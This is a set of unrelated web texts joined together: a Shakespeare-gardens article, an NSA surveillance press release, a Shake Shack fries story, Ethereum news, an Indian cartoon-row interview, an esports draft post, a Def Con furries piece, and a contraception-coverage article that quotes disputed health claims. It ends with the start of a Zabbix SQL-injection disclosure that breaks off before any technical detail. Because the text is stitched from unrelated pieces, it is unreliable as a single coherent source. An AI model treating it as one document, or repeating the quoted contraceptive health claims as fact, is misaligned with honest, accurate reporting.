The major Shakespeare garden is that imaginatively reconstructed by Ernest Law at New Place, Stratford-on-Avon, in the 1920s. He used a woodcut from Thomas Hill, The Gardiners Labyrinth (London 1586), noting in his press coverage when the garden was in planning stage, that it was "a book Shakespeare must certainly have consulted when laying out his own Knott Garden"[5] The same engraving was used in laying out the Queen's Garden behind Kew Palace in 1969. Ernest Law's, Shakespeare's Garden, Stratford-upon-Avon (1922), with photographic illustrations showing quartered plats in patterns outlined by green and grey clipped edgings, each centred by roses grown as standards, must have supplied impetus to many flower-filled revivalist Shakespeare's gardens of the 20s and 30s. For Americans, Esther Singleton produced The Shakespeare Garden (New York, 1931).[6] Singleton's and Law's plantings, as with most Shakespeare gardens, owed a great deal to the bountiful aesthetic of the partly revived but largely invented "English cottage garden" tradition dating from the 1870s.[7] Few attempts were made in revived garden plans to keep strictly to historical plants, until the National Trust led the way in the 1970s with a knot garden at Little Moreton Hall, Cheshire, and the restored parterre at Hampton Court Palace (1977).[8]
Recent developments [ edit ]
The conventions of Shakespeare Gardens were familiar enough in the 1920s that E.F. Benson sets the opening of Mapp and Lucia (1931) in the not-quite-recently widowed Lucia's "Perdita's Garden" at Riseholme, in words that epitomise Benson's dry touch:
"Perdita's garden requires a few words of explanation. It was a charming little square plot in front of the timbered façade of the Hurst, surrounded by yew-hedges and intersected with paths of crazy pavement, carefully smothered in stone-crop, which led to the Elizabethan sundial from Wardour Street in the centre. It was gay in spring with those flowers (and no others) on which Perdita doted. There were 'violets dim', and primroses and daffodils, which came before the swallow dared and took the winds (usually of April) with beauty.[9] But now in June the swallow had dared long ago, and when spring and the daffodils were over, Lucia always allowed Perdita's garden a wider, though still strictly Shakespearian scope. There was eglantine (Penzance briar) in full flower now, and honeysuckle and gillyflowers and plenty of pansies for thoughts, and yards of rue (more than usual this year), and so Perdita's garden was gay all the summer.
Here then, this morning, Lucia seated herself by the sundial, all in black, on a stone bench on which was carved the motto 'Come thou north wind, and blow thou south, that my garden spices may flow forth.' Sitting there with Pepino's poems and The Times she obscured about one-third of this text, and fat little Daisy would obscure the rest... "
Shakespeare's flora [ edit ]
The best known reference in Shakespeare of plants used for symbolic purposes, aside from passing mention, as in Romeo and Juliet, "What's in a name? That which we call a rose by any other name would smell as sweet."[10] is Ophelia's speech from Hamlet:
Ophelia: There's rosemary, that's for remembrance. Pray you, love, remember. And there is pansies, that's for thoughts.
Laertes: A document in madness! Thoughts and remembrance fitted.
Ophelia: There's fennel for you, and columbines. There's rue for you, and here's some for me. We may call it herb of grace o' Sundays. O, you must wear your rue with a difference! There's a daisy. I would give you some violets, but they wither'd all when my father died. They say he made a good end.[11]
Shakespeare also uses plants for historic symbolism, such as the plucking of red and white roses in Henry VI, Part I to foreshadow the dynastic struggle known as the Wars of the Roses that would end the king's reign. All the plants Shakespeare names in his plays are mentioned in classical medical texts or medieval herbal manuals.[12]
Central Park [ edit ]
Shakespeare Garden in Central Park
Shakespeare Garden in Central Park
An early Shakespeare garden was added in the anniversary year 1916[13] to Central Park, New York City. In honour of the Bard and the reading of literature, this area is one of eight designated Quiet Zones.[14]
It included a graft from a mulberry tree said to have been grafted from one planted by Shakespeare in 1602; that tree was cut down by Rev. Francis Gastrell, owner of New Place, however[15] The tree blew down in a summer storm in 2006 and was removed. This garden is located near the Delacorte Theater that houses the New York Shakespeare Festival. According to information available on the Central Park web pages, the Shakespeare Garden there does still contain some of the flowers and plants mentioned in his plays.
Cleveland [ edit ]
The rich weave of associations engendered by Shakespeare Gardens is exemplified in the Shakespeare Garden of Cleveland, Ohio,[16] where herb-bordered paths, converge on a bust of Shakespeare. The requisite mulberry tree was from a cutting sent by the critic Sir Sidney Lee, a slip said to be from a slip of the mulberry at New Place. Elms were planted by E. H. Sothen and Julia Marlowe, oaks by William Butler Yeats, and a circular bed of roses sent by the mayor of Verona, from the traditional tomb of Juliet, planted by Phyllis Neilson Terry, niece of Ellen Terry. Birnam Wood was represented by sycamore maples from Scotland. The sundial was Byzantine, presented by the Shakespearean actor, Robert Mantell. Jars planted with ivy and flowers were sent by Sir Herbert Beerbohm Tree, Rabindranath Tagore— as the "Shakespeare of India"— and Sarah Bernhardt.
The Shakespeare Garden inaugural exercises took place on April 14th, 1916, the tercentenary year... E. H. Sothen and Julia Marlowe were guests of honor. After speeches of welcome by city officials and Mayor Harry L. Davis, the orchestra played selections from Mendelssohn's "Midsummer Night's Dream," and the Normal School Glee Club sang choral setting of "Hark, Hark, the Lark" and "Who Is Sylvia?" A group of high school pupils in Elizabethan costume escorted the guests to the garden entrance and stood guard during the planting of the dedicatory elms.... Miss Marlowe climaxed the proceedings by her readings of Perdita's flower scene from A Winter's Tale, the 54th Sonnet of Shakespeare, and verses from the Star Spangled Banner. Her leading of all present in the singing of the National Anthem brought the impressive event to a close."[16]
In later years the Cleveland Shakespeare Garden continued to be enriched at every Shakespearean occasion. Willows flanking the fountain were planted by William Faversham and Daniel Frohman. Vachel Lindsay planted a poplar and recited his own Shakespeare tribute. Novelist Hugh Walpole also planted a tree. Aline Kilmer, widow of the soldier poet, Joyce Kilmer, made a visit in 1919, and the actor, Otis Skinner and the humorist, Stephen Leacock. David Belasco came to plant two junipers.
List of Shakespeare gardens [ edit ]
See also [ edit ]
References [ edit ]
Notes [ edit ]
Bibliography [ edit ]
Ellacombe, Henry Nicholson (1884). The Plant-lore & Garden-craft of Shakespeare (2 ed.). London: W Satchell and Co .
Shakespeare's Wild Flowers: Fairy Lore, Gardens, Herbs, Gatherers of Simples and Bee Lore by Eleanour Sinclair Rohde (London: The Medici Society, Ltd. Great Britain 1985)
by Eleanour Sinclair Rohde (London: The Medici Society, Ltd. Great Britain 1985) Shakespeare's Flowers by Jessica Kerr (Thomas Y. Crowell Company, New York, 1969)
by Jessica Kerr (Thomas Y. Crowell Company, New York, 1969) Fantastic Garlands: An Anthology of Flowers and Plants from Shakespeare by Lys de Bray (Blandford Press: Poole, Dorset 1982)
by Lys de Bray (Blandford Press: Poole, Dorset 1982) The Shakespeare Garden by Esther Singleton (William Farquhar Payson, New York, 1922, out of print)
by Esther Singleton (William Farquhar Payson, New York, 1922, out of print) The Flowers of Shakespeare by Doris Hunt (Webb & Bower Exeter, England, 1980)
by Doris Hunt (Webb & Bower Exeter, England, 1980) The Renaissance Garden In England by Sir Roy Strong (Thames and Hudson Ltd, London 1979, republished 1998)
by Sir Roy Strong (Thames and Hudson Ltd, London 1979, republished 1998) Shakespeare's Gardens by Jackie Bennett (Francis Lincoln Ltd in assoc with Shakespeare Birthplace Trust 2016)
Shakespeare Garden at Mountain Ridge Middle School in Colorado Springs
Media related to Shakespeare gardens at Wikimedia Commons |
Udall, Wyden Propose Limiting the Federal Government's Ability to Collect Vast Amounts of Data on Americans
Legislation Would Require Actual Link to Terrorism or Espionage for the Collection of Americans' Phone Call Records
Senators Mark Udall and Ron Wyden, who both serve on the U.S. Senate Select Committee on Intelligence, will introduce legislation that would limit the federal government's ability to collect data on Americans' without a demonstrated link to terrorism or espionage. Their legislation follows reports that the federal government has used a "secret interpretation" of the PATRIOT Act, renewed in 2011, to continuously collect data on Americans.
"The NSA's collection of millions of Americans' phone call records is the type of overreach I have warned about for years. Although I strongly believe some authorities under the Foreign Intelligence Surveillance Act provide valuable information that helps protect our national security, Americans with no link to terrorism or espionage should not have to worry that their private information is being swept up," Udall said. "This legislation strikes the right balance in protecting our homeland while also respecting our Constitution and Americans' widely cherished privacy rights."
"This legislation will give the government broad authorities to investigate terrorism but will also protect law-abiding Americans from the type of invasive surveillance activities that Senator Udall and I have been warning about for years," Wyden said. "The disclosures of the last week have made clear to the American people that the law is being interpreted in a way that damages their civil liberties and that the system has been set up to keep Americans unaware of the intrusion. When you combine this proposed bill with legislation introduced to declassify FISA court rulings, we are well on our way to better protecting those liberties and promoting an informed public debate."
Udall and Wyden have been at the forefront of questioning the recently disclosed widespread collection of Americans' calls. Udall and Wyden called on Gen. Keith B. Alexander, the head of the National Security Agency and U.S. Cyber Command, to clarify his remarks this week that the surveillance programs disclosed through leaks and declassification over the past week have helped avert "dozens of terrorist attacks" in recent years. They also recently questioned assertions that the NSA's bulk collection of Americans' phone records "has actually provided any uniquely valuable intelligence" beyond what is available through other, less intrusive surveillance programs. |
Call it a crisis of conscience. In 2013, Shake Shack, the surging New York City–based burger chain, made the bold decision to replace its popular crinkle-cut fries. The crinkle-cuts were outliers on the original Shake Shack menu. Most everything else was made in-house with fresh ingredients. The crinkle-cuts came frozen from a manufacturer. For an organization steeped in the traditions of fine dining, with its prevailing fresh-is-best philosophy, the icy spuds seemed sub-optimal to say the least.
an online petition to bring back the crinkle-cuts. Eventually, the company did just that.
Looking back now, Shake Shack culinary director Mark Rosati describes the switch as a good-intentioned misstep in pursuit of french fry perfection. To hear him tell it, the “restless tinkerers” at the helm of this fast-growing burger brand (88 locations and counting worldwide) still arrived at a more perfect fry. Just not the one they were thinking of.
♦♦♦
“When we started Shake Shack, we tried so many different fries — thick-cut, waffle, shoestring, you name it,” says Rosati. Opened in 2004, the Shack began humbly, as just a single burger stand in Manhattan’s Madison Square Park, operating for only a few months during the summer. Its operators, though, were seasoned pros from Midas-touch restaurateur Danny Meyer’s Union Square Hospitality Group. Rosati, for one, had been a cook at Meyer’s acclaimed Gramercy Tavern. The menu was pretty simple: burgers, fries, shakes and the like. But the group had bigger aims than mindlessly flipping patties. “When that menu was developed, we looked at every single ingredient,” he says. “Is it the best it can be? Is it unique? Does it tell a story?”
“When it came to the fries, we kept coming back to the crinkle-cut because of two factors,” Rosati says. Both involve the crinkle-cut’s unique geometry. As described in Food Republic’s illustrated guide to french fry styles, these potato batons are sliced with corrugated blades, giving them their unusual wavy shape.
One perk of the crinkle-cut is texture. “Because of those grooves and cuts, there’s more surface area on the fry. So when we fried it, it got crunchier and crispier than most of the fries out there, and it held that crunch for a long time,” says Rosati.
Another advantage is improved scooping ability. “Just like Italians will look at different pastas to pair with sauces, we loved the fact that those cuts and grooves actually picked up more ketchup and cheese sauce than any other fry we played around with,” Rosati says.
“Heston Blumenthal, with all his culinary knowledge and scientific know-how, chose to add a freezing step to his perfect fry. That was one of the moments when we started to realize that frozen wasn’t a bad word among fries.”
But one factor that the Shack guys clearly underestimated was the level of customer nostalgia associated with the crinkle-cut. It’s the same style of fry commonly served in school cafeterias, the kind your family kept in the freezer at home. That emotional connection to childhood, though, doesn’t always resonate with high-minded technicians when there’s a bigger issue afoot: namely, the unfashionable freezer-aisle produce in front of them. So, nine years after the Shack served its first fry, the beloved crinkle-cut was forced into early retirement. “We looked at the crinkle-cuts and we said, ‘Yes, they’re delicious, but we think we do can better,'” Rosati says. “It was the only thing on our menu that we were not making ourselves.”
After switching to fresh-cut fries, however, Rosati and his colleagues soon developed a new appreciation for the virtues of frozen food. Complaints from nostalgia-deprived customers were just the beginning. “All the feedback we got on this was like, ‘Hey, these are good and all, but you lost a little bit of yourself in this move,'” Rosati says. “There’s a hundred guys out there that do that same style of fresh-cut fry. We just kind of lost the uniqueness.” Another issue was quality control. Any number of things can go wrong between the time a fresh potato is plucked out of the ground and when it finally gets to the fryer. Consistency proved a constant struggle amid all the variables involved in sourcing fresh spuds. Even when a potato itself arrived in great shape, the resulting fry often wouldn’t stay crunchy for as long as the old crinkles. “The fresh-cuts were so temperamental,” Rosati says. “Right out of the fryer, they were amazing.” Given a little time, though, not so much.
But it wasn’t until Rosati traveled to London and met with the staff at one of famed modernist chef Heston Blumenthal’s restaurants that he truly grasped the benefits of frozen spuds in terms of legitimate cooking technique. “They have the best fry I’ve ever had in my life,” says Rosati. And just how are these perfect fried-spud specimens conceived? Using fresh potatoes that are intentionally frozen as part of a complex multistep cooking process. “The reason they do that is, it locks in all the moisture into little icicles inside the fry, and when you fry them that final time from the frozen state, that moisture explodes — it creates that mashed-potato soft interior. All the great fries, that’s one of their hallmarks,” Rosati says. “So Heston Blumenthal, with all his culinary knowledge and scientific know-how, chose to add a freezing step to his perfect fry. That was one of the moments when we started to realize that frozen wasn’t a bad word among fries.”
♦♦♦
Nearly a year after making the switch to fresh-cuts, Shake Shack pulled another 180, announcing in August 2014 that the celebrated crinkle-cuts would be making a comeback that fall. But that didn’t mean the Shack was abandoning its overarching mission for french fry perfection. To the contrary, these resurrected crinkles represented a new and improved version of the old favorite, one more aligned with the brand’s own natural-leaning sensibilities. Like before, the new crinkles would come frozen from the same manufacturer, but following a slightly different recipe. “Your favorite fry will be just as you left it, but will now be free from the artificial ingredients that so many frozen fries include; ingredients we know we can live without,” the company said in a statement.
“All those adjustments we made yielded the same exact fry all our guests knew and loved from the early years of Shake Shack,” says Rosati. Albeit one with more of “a true, pure potato flavor,” he adds.
Good timing, too: The course correction came prior to the company’s initial stock offering in January 2015, which raised about $112.3 million. This year, Shake Shack is projecting total revenues of at least $232 million, according to its most recent public filing. Thirteen new locations are expected to open in the U.S. in 2016, with additional licensing deals in the works for the U.K., the Middle East and Japan.
How much of the credit goes to the crinkle-cut? Rosati will only say that “the fry is definitely our ShackBurger’s best friend.”
But you can bet that, given the prior french fry debacle, the Shack won’t be messing too much with other nostalgia-loaded elements of its menu, like the American cheese on its burgers or the Heinz ketchup in its sauce dispensers.
“The fry itself — that’s going nowhere for a long, long time,” Rosati says. |
The Ethereum network has recorded a record 410,000 transactions in the last 24 hours - more than any Blockchain ever, reports say.
Co-founder Vitalik Buterin retweeted the data Tuesday which should 410,061 transactions completed in what reporting source ethgasstation says “is the highest ever recorded for any public Blockchain.”
ETH transactions in the last 24 hours at an all time high (410,061):https://t.co/FWb9m1dtVp — Vitalik Buterin (@VitalikButerin) August 15, 2017
The figures put Ethereum firmly ahead of Bitcoin in terms of transaction numbers, the latter confirming around 255,000 according to Blockchain.info.
ETH has remained fairly stable in price over the past week, hovering around $300 without significant wavering.
Bitcoin nonetheless continues to outperform the largest altcoin many times over, contrasting with the apparent frenetic trading activity which is heavily influenced by ERC20 token purchases.
Meanwhile, Buterin rebutted criticism of the apparent high prices for using the Ethereum Blockchain to store data.
Responding to a separate tweet by Zcash Foundation direction Andrew Miller, the entrepreneur noted costs per kilobyte “may vary from $0.02 to $1.81,” contrary to Miller’s assertion of $0.50.
That depends. History or state, 20 gwei or 4 gwei or 1 gwei gasprice? Price may vary from $0.02 to $1.81 depending on context. — Vitalik Buterin (@VitalikButerin) August 15, 2017
Former Bitcoin Core developer Jeff Garzik also lent his weight to supporting Ethereum costs. |
May 17, 2012 23:21 IST
E ducationalists and eminent cartoonists described the day as a sad day for the Indian democracy. It was the day when members of Lok Sabha flashed photocopies of a cartoon from Class XI textbooks, and argued that the cartoon hurt the sentiments of the Dalits and showed dalit leader B R Ambedkar in bad taste.
Members across party lines criticised the cartoon in unison. Human Resources Development Minister Kapil Sibal rendered an apology to the house members, and promised to delete all cartoons from schoolbooks.
But perhaps National Conference Member of Parliament Sharifuddin Shariq was the only person in the house, who stood up in the Parliament and asked Parliamentarians to 'look within' first.
Born in 1935 in Kashmir, Sharifudin Shariq holds a Master's degrees in Urdu language and literature, and has studied law from the Aligarh Muslim University. Shariq says his father was a teacher, and his was 'a poor-moderate family.'
He thinks his liberal outlook has been a consequence of a liberal upbringing by his eldest brother, a retired school principal. Both his parents died when he was still in school.
Shairq admits he has been into politics for almost 40 years now; he first contested election as an independent candidate in 1972 from Chhindwara in Kasmir. He lost the election, but joined the National Conference party the same year.
His maiden foray into the Lok Sabha came after the win in 2009 elections from Baramulla district in Kashmir, prior to which he has been a member of Rajya Sabha and the state Vidhaan Sabha.
On the cartoon row, he told Rediff.com's Priyanka, that many fellow Parliamentarians supported him outside the house, but nobody had the courage to stand up inside the house.
Were you surprised by the reaction of your colleagues?
Yes, I was surprised that everyone was speaking against the cartoons. People from all parties were against it.
It is my conviction that we fought for the freedom of people who did not know their human rights, who had no voice. We fought to give them their right to express.
Now, people express differently, by writing poems, or drawing cartoons. The literature is full of satirical poems and writings.
We politicians criticise everybody, but why should we hesitate if criticism pointed at us.
Did anyone from the Lok Sabha support you on your views?
There were many people who encouraged me when we came outside. But they did not stand up in the Parliament. I don't them know them personally, though.
So, the members supported you outside Parliament, but did not inside the Parliament?
All this is vote politics. They have no courage to speak out. They think they might hurt the Dalit community, and lose an important vote bank.
But the truth is, children tend to pick up things easily if it is being said in a cartoon. Because it is interesting for them and it invites their attention. What is wrong in that?
Also, I am very saddened that they will deleting all cartoons from the textbook now, or are banning the book. I feel this was hasty decision.
And were you asked to keep quiet by your own party members?
People from both sides wanted me to be quiet. But maybe my party thinks I am right. Both Omar Abdullah and Farooq Abdullah are in the city. If they wanted me to be quiet, they would have called me and said so.
Did you try to convince anybody?
No, whatever I said was in Parliament only. However, senior Bharatiya Janata Party Arun Jaitley told me that I did the right thing. But his party people were all on toes at that time.
In your opinion, what do you think the government should have done?
The government should have stood up to the opposition and say that cartoons have been suggested by top educationalists of India, and any decision to remove them would be after putting things before them.
They panicked and they succumbed to the pressure and said the cartoons will be banned or deleted, about which I feel is very sad.
What is your stand on it?
It is not right the decision. I think we should look within ourselves first.
If people are pointing fingers at us, then there must be a reason for it. There is a moral degradation in our system now, and everybody is interested in is making only money, whether it is legal or illegal.
And I feel cartoons put it across very nicely. There are a few cartoons that I really enjoyed and remember them vividly.
In one, a politician goes to file his nomination papers, and declares his assets of 50 crore. A kid standing nearby asks him why he wants to contest if he already has so much money.
When Sheik Abdullah was appointed as the chief minister of Jammu and Kashmir, there was a cartoon with him bowing before former Prime Minister Indira Gandhi, and she was shown putting a crown on his head. I still remember clearly, Sheik saab laughed his heart out on seeing this cartoon. |
Waxangel Profile Blog Joined September 2002 United States 27027 Posts Last Edited: 2011-11-05 04:04:27 #1
Full translation of KeSPA Release
The Korean e-Sports Association has come to agreement with all of the pro-gaming teams to form an eight team system for the upcoming Proleague season to ensure the activities of more players. The Association as decided to be the acting manager of an 8th pro-gaming team, formed from the key members of the three teams that disbanded after the 10-11 season (FOX, OZ, Hero).
The decision to act as proxy management for this team came from a desire to serve the greater good by allowing more pro-gamers to continue their activities, and operate the Proleague in a more stable manner. Alongside the proxy management of the 8th Pro-team, the Association is trying with all its ability to find a sponsor for this team, and plans to allow the creation of a new team as soon as possible, even if in mid-season. The 8th team is comprised of skilled players, and it is predicted that it will they will perform well in the 11-12 season and make it easier to find a party interested in acquisition during the season.
Next Season as an Eight Team System, KeSPA as Proxy Management of Eighth Team
From the disbanded teams, the top two players for each race by KeSPA ranking were first entered as 'protected' players for the 8th team, and will enter preparations for the next season at a team house that has been prepared at Itaewon-dong in Yongsan-gu [Central Seoul, pretty much right next to OGN studio]. Additionally, through an open draft on the 4th (Fri), Yum Bo Sung, Jeon Tae Yang, Kim Do Wook (Terrans), Lee Jae Dong, Park Joon Oh, Lee Byung Ryul (Zergs), and Kim Jae Hoon, Park Soo Bum, Ha Jaesang (Protoss) were selected for the 8th team.
The player's salary were determined after negotiation with players, taking into account data from the salary adjustment committee - which took last season's performances into account, and the salary levels of other pro-game teams. All player salaries were adjusted to higher levels than last season. Considering the future creation of a new official team, past championship winner Joo Hoon [Two time champion with SKT] has been appointed as head coach/manager, and Han Sang Yong has been accounted as coach of the 8th team.
An Open Posting Process to Decide the Destinations of Players
The Association and the pro-gaming teams held an 'open posting' on the 4th (Fri) to decide the destinations for the remaining players outside the 6 protected players. Of the 49 players belonging to the disbanded teams, 32 players were in the open posting, minus the six protected players and 11 players who desired to retire.
At the open posting, player selection was run through a bidding process, and seven teams (excluding ACE) participated. Each team was given an opportunity to select at least one player, so that many progamers would have opportunities to continue their progaming activities.
As a result of the open draft, Park Sung Gyun, Joo Seong Wook, Shin No Yeol, Bang Tae Soo, Lee Ye Hoon, Kim Joon Ho, Baek Dong Jun, and Kim Yoo Jin were selected by progame teams. Players that did not confirm entry into progaming teams are free to sign with any teams after the draft.
List of draftees
->
->
->
->
->
->
->
-> Woongjin
KeSPA Run 8th Team
Sea
BaBy
Jaedong
Killer
Jaehoon
Tyson
Sang
Ryul2
Speed
Related Articles at Fomos
Coach Joo Hoon spoke of his deeper role in trying to find a sponsor for the new team, not just acting as the head coach. He mentioned his past experience with 4U, the sponsorless team that would later become SK T1.
Some players were not drafted through the posting system because of their high base salary. These players, including notable players like Midas, Ruby, and Hiya, are now free to negotiate with any of the teams for a new contract.
Source: KeSPA The Korean e-Sports Association has come to agreement with all of the pro-gaming teams to form an eight team system for the upcoming Proleague season to ensure the activities of more players. The Association as decided to be the acting manager of an 8th pro-gaming team, formed from the key members of the three teams that disbanded after the 10-11 season (FOX, OZ, Hero).The decision to act as proxy management for this team came from a desire to serve the greater good by allowing more pro-gamers to continue their activities, and operate the Proleague in a more stable manner. Alongside the proxy management of the 8th Pro-team, the Association is trying with all its ability to find a sponsor for this team, and plans to allow the creation of a new team as soon as possible, even if in mid-season. The 8th team is comprised of skilled players, and it is predicted that it will they will perform well in the 11-12 season and make it easier to find a party interested in acquisition during the season.From the disbanded teams, the top two players for each race by KeSPA ranking were first entered as 'protected' players for the 8th team, and will enter preparations for the next season at a team house that has been prepared at Itaewon-dong in Yongsan-gu. Additionally, through an open draft on the 4th (Fri), Yum Bo Sung, Jeon Tae Yang, Kim Do Wook (Terrans), Lee Jae Dong, Park Joon Oh, Lee Byung Ryul (Zergs), and Kim Jae Hoon, Park Soo Bum, Ha Jaesang (Protoss) were selected for the 8th team.The player's salary were determined after negotiation with players, taking into account data from the salary adjustment committee - which took last season's performances into account, and the salary levels of other pro-game teams. All player salaries were adjusted to higher levels than last season. Considering the future creation of a new official team, past championship winner Joo Hoon [] has been appointed as head coach/manager, and Han Sang Yong has been accounted as coach of the 8th team.The Association and the pro-gaming teams held an 'open posting' on the 4th (Fri) to decide the destinations for the remaining players outside the 6 protected players. Of the 49 players belonging to the disbanded teams, 32 players were in the open posting, minus the six protected players and 11 players who desired to retire.At the open posting, player selection was run through a bidding process, and seven teams (excluding ACE) participated. Each team was given an opportunity to select at least one player, so that many progamers would have opportunities to continue their progaming activities.As a result of the open draft, Park Sung Gyun, Joo Seong Wook, Shin No Yeol, Bang Tae Soo, Lee Ye Hoon, Kim Joon Ho, Baek Dong Jun, and Kim Yoo Jin were selected by progame teams. Players that did not confirm entry into progaming teams are free to sign with any teams after the draft. Mind -> KT Wooki -> KT RorO -> KHAN Alone -> SKT Sacsri -> SKT herO[jOin] -> CJ Dear -> STX sHy -> Woongjin Fomos: Coach Joo Hoon spoke of his deeper role in trying to find a sponsor for the new team, not just acting as the head coach. He mentioned his past experience with 4U, the sponsorless team that would later become SK T1. Fomos Global (English): Some players were not drafted through the posting system because of their high base salary. These players, including notable players like Midas, Ruby, and Hiya, are now free to negotiate with any of the teams for a new contract. Administrator Hey HP can you redo everything youve ever done because i have a small complaint? |
Image: @jonathansinger
On Saturday night, a group of three furries—two wolves and a panda—walked through the hotel portion of Caesars Palace in Las Vegas, until they were stopped by security for foiling security cameras with their fursuits.
The furries were in Las Vegas for Def Con, the world's largest annual gathering of hackers.
Caesars Palace security asked them to remove the heads of their fursuits, svxkitty, the panda of the group, told me over Twitter direct messages. The furries obliged, and took off their animal heads before heading back out into the common space of the hotel.
"While we do not publicly disclose our security practices, the company does have a long-standing policy that prohibits guests from wearing masks on our properties," VP of corporate communications at Caesars Jennifer Forkish told me in an email. "This policy is in place to promote the safety of all guests and employees."
There were at least 50 furries at the conference this year, MetaVulp, a green Arctic Fox and one of the organizers of the newly-formed group Def Con Furs, told me. But most furries at Def Con didn't attend in fursuits, as those can cost thousands of dollars to own.
Groups of furries have been getting together to head to Def Con for years. As we've previously explored, in the early days of the web, furries had to build their own websites and chat rooms to meet other furries, meaning they were early adopters of internet technology.
Their presence at this year's conference warranted a special conference badge from Noid, one of the early organizers of Def Con, MetaVulp told me. The pass told Def Con security that it was cool for them to roam in their fursuits. The furries' conference badges also included a QR code linking to Noid's tweet thread daring them to do a fursuit parade during the conference, but apparently that didn't fly by Caesars security standards.
Svxkitty said Caesars' staff asked them to take off their fursuits in a professional, appropriate manner, but that it was the first time they'd encountered such a request from security staff.
The difficulties of wearing a fursuit in heavily monitored areas like casinos is a bit of a open secret in furrydom, with many events at casinos or convention centers warning participants not to show up in suits covering their faces.
Update: This post has been updated with a comment from Caesars Palace. |
Not content to have elminated abortion coverage from healthcare reform, now the United States Conference of Catholic Bishops wants birth control out, too.
The United States Conference of Catholic Bishops is once more trying to flex its muscles. Not happy to have simply pushed to remove all abortion coverage from health care reform, they now have a new target: making sure birth control isn’t covered, either.
Via BusinessInsurance.com:
An organization representing U.S. Catholic bishops is asking federal regulators not to classify contraceptives and sterilization as preventive services, thus entitling them to full coverage under the health care reform law, in final rules. The United States Conference of Catholic Bishops, in a letter sent Friday to the Department of Health and Human Services, said that preventing pregnancy is not preventing a disease. Get the facts, direct to your inbox. Subscribe to our daily or weekly digest. SUBSCRIBE
Over at Lifenews, the group goes into great detail, promoting falsehoods about the dangers of hormonal contraceptives as a reason not to cover them as the plan does all other preventative medications.
Normally preventive services mean vaccines, tests, screenings, etc. that are given with minimal risk to patients to prevent—or at least detect and provide an early warning of—serious illness and life-threatening conditions. Common examples: blood pressure and cholesterol screening for hypertension, mammograms for breast cancer, Pap tests for cervical cancer, and vaccines to prevent transmission of communicable diseases. But prescription contraceptives don’t prevent or screen for disease. Their purpose is to block the normal functioning of a healthy reproductive system. They prevent a person from being conceived or born. Moreover, far from preventing diseases, contraceptive use is associated with many harmful side effects and actually increases the risk of acquiring certain diseases. The World Health Organization lists estrogen as a carcinogen. Estrogen is used in combined oral contraceptives (e.g., the pill, the patch, the vaginal ring) and in hormone replacement therapy (HRT) for menopause. U.S. breast cancer rates soared as the number of women on HRT increased from the early 1980s to 2002, when the Women’s Health Initiative trial was halted after finding elevated risks of breast cancer and stroke. Between 2003 and 2006, when HRT use dropped significantly, breast cancer rates in the U.S. plummeted 18 percent! Cancer is not the only problem. Contraceptive Technology cites numerous studies in which estrogen in contraceptives has been associated with increased risk of heart attacks, strokes, blood clots, and hypertension. Progestin-only contraceptives—mini pills, injections, and implants—have been associated with menstrual cycle disturbance, “excessive weight gain,” hair loss, and depression. The injectable contraceptive Depo-Provera has been found to significantly decrease bone mineral density. …Aside from being immoral to use and involving the above-mentioned health risks, contraceptives don’t work very well. Fifty-four percent of U.S. women seeking abortion were using contraception the month they became pregnant. The presumed efficacy of condom use in preventing STD transmission has been shown in studies to be completely offset by complacency and “risk compensation” (more casual partners, less care in use). Planned Parenthood is fully aware of these increased risks, yet it wants mandated contraceptive coverage for all, perhaps so women will end up having to use their other services—emergency “contraception,” STD screening and treatment, mammograms and Pap tests, pregnancy testing, and abortions. That is no reason for the federal government to force all of us to buy such coverage. Is it not wiser and healthier to avoid these risks by respecting one’s own dignity and the dignity of marriage?
But advocates are reminding the public that preventative care is just that — preventing a medical condition. Especially in the case of pregnancy, which can be both risky and expensive. Via The Hill:
Montana’s commissioner of securities and insurance, however, wrote to urge mandatory coverage of “the full range of women’s preventive health care needs, including family planning.” “Pregnancy is an expensive proposition and prevention of unplanned pregnancy is highly cost effective,” writes Commissioner Monica Lindeen. “For every public dollar invested in contraception, nearly $3.75 is saved in Medicaid expenditures that would have been needed for prenatal care, labor and delivery, postpartum care, and the infant’s first year of medical care. “In addition, the costs of complications can be very high. Women with unplanned pregnancies have more complicated pregnancies and deliveries on average due to increased likelihood of inadequate prenatal care, exposure of the fetus to harmful substances, and low birth weight.”
Can the Conference of Bishops once more outmaneuver and strong arm politicians into abandoning any promises to help women through health care reform? It looks like we’ll have another showdown to watch.
Mini Roundup: In a very public and morbid reminder of the fragile state of maternal mortality, Times Square’s National Debt Clock has a new counterpart. Introducing the Maternal Death Clock, which will run for three days, marking the number of women who die every day due to childbirth and complications.
September 20, 2010 |
Introduction
First off, please do not throw a tomato at me since this is not the typical Windows binary exploit article that is posted on Corelan!
During a recent a penetration test, I encountered a host running Zabbix, an agent based monitoring application. Although I was unfamiliar with the product at the time, I decided to focus my efforts trying to exploit the application. While poking around I was able to find SQL Injection through one of the frontend pages. I was then able to get code execution using the built-in server functionality. Further, I was able to get code execution on all the agents the server controlled! I thought this would be an interesting article, so I decided to share.
First, a little background.
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Disclosure Timeline:
9/11/2013: Corelan contacts vendor for support contact
9/12/2013: vendor replies back with lead dev contact information
9/16/2013: Corelan makes initial contact with lead dev and asks vendor to agree with disclosure terms
9/16/2013: Vendor agrees and asks for more information about the bug
9/16/2013: Corelan sends bug report to vendor
9/23/2013: Vendor confirms bug
10/2/2013: Patch released by vendor
Corelan would like to thank the Zabbix development team for being very responsive and quick to fix the issue.
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On Wednesday, October 2nd Zabbix released patch ZBX-7091 to address this and several other SQL Injection related issues.� Further details regarding this patch can be found at the following URL:
https://support.zabbix.com/browse/ZBX-7091
The CVE assigned to this vulnerability is CVE-2013-5743. There are other vulnerabilities that were combined with this CVE. Bernhard Schildendorfer from SEC Consultant Vulnerability lab also found SQL injection points through the Zabbix APIs. His advisory can be found here:
http://packetstormsecurity.com/files/123511/SA-20131004-0.txt
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Vendor Details
Zabbix is an open source, agent-based, monitoring and alert application used to correlate data from a wide range of clients.� It’s written in PHP and supports commonly user SQL databases like MySQL, PostgreSQL, and Orcale.
From the vendor’s site (http://www.zabbix.com):
� ZABBIX team’s mission is to make a superior monitoring solution available and affordable for all. The company’s flagship product is ZABBIX, one of the most popular open source monitoring software in the world. It is already used by a vast number of companies, who have chosen it due to real scalability, high and robust performance, ease of use and extremely low costs of ownership.
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Vulnerability Details
